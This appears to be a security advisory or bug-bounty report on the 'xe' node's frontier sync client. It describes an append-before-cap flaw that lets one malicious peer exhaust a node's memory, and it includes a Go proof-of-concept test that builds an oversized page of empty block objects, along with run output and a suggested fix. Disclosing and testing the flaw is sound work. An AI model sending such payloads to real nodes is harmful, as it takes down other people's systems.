net/sync: frontier sync client allocates a full decoded page before the block cap, single peer can OOM a node (High)
Report
Summary
The sync client appends the entire decoded JSON page to its block slice before checking the maxTotalBlocks cap, and the 10 MiB LimitedReader budget is re-armed per JSON value rather than per session. A malicious sync server can answer the pull with one 10 MiB page of empty block objects, which decode into millions of Block values in memory before any hash, signature or count check runs. The pull starts automatically on every inbound connection.
Affected component
net/sync.go, client loop at lines 556 to 577 (lr.N reset at line 563, append at line 577 before the cap check at line 578), SyncResponse.Blocks is a pointer slice in net/messages.go lines 21 to 26, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512. Pull trigger on every inbound connection at sync.go lines 319 to 326, gated only by a 5 second per peer cooldown. The connection resource manager allows 8 connections per IPv4 address.
Impact
One peer that is dialed by (or dials) the victim crashes or degrades it with a single page: memory spikes to roughly 1 to 2 GiB per page plus decoder overhead on a small node, and pages repeat until the cap or deadline. The honest server caps pages at 256 blocks and totals at 10000, but a malicious peer is not bound by those.
Suggested severity: High (node OOM from a single source, named in the program's High tier). Distinct from the reported per-page budget reset in issue #8 finding 4: the remaining defect on this pin is the append-before-cap ordering plus empty-object heap amplification. Confirmed by read-only source review.
PoC
Setup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at net/poc_f5_test.go (it joins the package's own test build), then:
GOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F5 ./net
Test file (net/poc_f5_test.go):
package net
import (
"bytes"
"encoding/json"
"fmt"
"io"
"os"
"runtime"
"strings"
"testing"
"github.com/xeprotocol/xe/core"
)
// TestPoC_F5 drives the frontier-sync client decode loop (requestSync in
// sync.go) in-process: a single JSON page is unmarshaled into []*core.Block
// before maxTotalBlocks is consulted. No libp2p, no network.
func TestPoC_F5(t *testing.T) {
pass, detail := runF5()
if pass {
fmt.Println("PASS: F5 sync client materializes the full JSON page before maxTotalBlocks")
fmt.Println(detail)
return
}
fmt.Println("FAIL: F5 expected alloc-before-cap on a single decoded page")
fmt.Println(detail)
os.Exit(0)
}
func runF5() (bool, string) {
// One page larger than the session cap. Empty objects still become
// allocated *core.Block values. Honest servers cap pages at 256; a
// malicious peer is not bound by that.
const pageCount = 20000
var b strings.Builder
b.Grow(pageCount*3 + 32)
b.WriteString(`{"blocks":[`)
for i := 0; i < pageCount; i++ {
if i > 0 {
b.WriteByte(',')
}
b.WriteString("{}")
}
b.WriteString(`],"has_more":false}`)
payload := []byte(b.String())
var memBefore runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&memBefore)
// Exact client loop from requestSync (sync.go): reset lr.N per JSON
// value, append the whole page, THEN check maxTotalBlocks.
lr := &io.LimitedReader{R: bytes.NewReader(payload), N: maxSyncResponseBytes}
dec := json.NewDecoder(lr)
var allBlocks []*core.Block
pages := 0
for {
lr.N = maxSyncResponseBytes
var resp SyncResponse
if err := dec.Decode(&resp); err != nil {
if err == io.EOF {
break
}
return false, "decode: " + err.Error()
}
pages++
allBlocks = append(allBlocks, resp.Blocks...)
afterAppend := len(allBlocks)
hitCap := afterAppend >= maxTotalBlocks
var memAfter runtime.MemStats
runtime.ReadMemStats(&memAfter)
detail := fmt.Sprintf(
"maxTotalBlocks=%d maxPageSize=%d maxSyncResponseBytes=%d
"+
"json_bytes=%d pages=%d
"+
"len(allBlocks) AFTER append, BEFORE cap check=%d
"+
"cap check would fire=%v (too late: the page is already in memory)
"+
"heap_alloc_delta_bytes=%d",
maxTotalBlocks, maxPageSize, maxSyncResponseBytes,
len(payload), pages, afterAppend, hitCap,
int64(memAfter.HeapAlloc)-int64(memBefore.HeapAlloc),
)
if !resp.HasMore {
ok := afterAppend > maxTotalBlocks && pages == 1
return ok, detail
}
if len(allBlocks) >= maxTotalBlocks {
return false, detail + "
loop stopped at cap but page was not oversized"
}
}
return false, "no JSON page decoded"
}
Fix suggestion
Check len(allBlocks) before appending each page, cap the number of blocks accepted per JSON value, and decode blocks streaming with per-block size limits.
Run (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):
=== RUN TestPoC_F5
PASS: F5 sync client materializes the full JSON page before maxTotalBlocks
maxTotalBlocks=10000 maxPageSize=256 maxSyncResponseBytes=10485760
json_bytes=60029 pages=1
len(allBlocks) AFTER append, BEFORE cap check=20000
cap check would fire=true (too late: the page is already in memory)
heap_alloc_delta_bytes=8982464
--- PASS: TestPoC_F5 (0.01s)
PASS
ok github.com/xeprotocol/xe/net 0.028s
Thread
Nothing public yet.